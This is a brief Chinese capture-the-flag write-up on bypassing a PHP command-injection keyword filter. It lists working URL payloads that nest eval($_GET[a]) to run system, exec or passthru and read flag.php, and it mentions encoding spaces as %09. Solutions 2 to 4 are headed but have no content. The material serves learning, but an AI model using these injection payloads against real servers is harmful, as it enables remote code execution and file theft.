本题过滤了flag system php cat sort shell . 空格 '
这一题过滤内容有增加了,部分函数还不要紧,主要是过滤了 . 空格 ` 这三种关键字,
所以我们这道题来学一种新的姿势---嵌套eval
嵌套eval可以取一个新的值来覆盖c的值,从而绕过滤内容,实操
解法1
?c=eval($_GET[a]);&a=system("tac flag.php");
让c取值,c取值a,$_GET可以让a取值来覆盖c的取值,用&来连接a的取值,在a中使用命令执行。
当然除了?c=eval($_GET[a]);&a=system("tac flag.php");
a中的命令其他的,例:
?c=eval($_GET[a]);&a=system("tac flag.php");
?c=eval($_GET[a]);&a=system("cat flag.php"); 之后查看源代码
?c=eval($_GET[a]);&a=echo exec("tac flag.php");
?c=eval($_GET[a]);&a=passthru("tac flag.php");
还有很多其他的命令我就不一一列举了。
再来补充个解法
本题过滤了flag system php cat sort shell . 空格 '
在过滤的符号中空格我们可以用%09来绕过
所以还可以用一下解法
解法2
解法3
解法4
然后查看源代码
以上的做法就没有用到eval嵌套。
当然我列出来的并不唯一,之前的有些命令也可以用%09来绕过空格。
以上就是在本题中学到的新姿势,每天学习,每天苕皮吃到饱!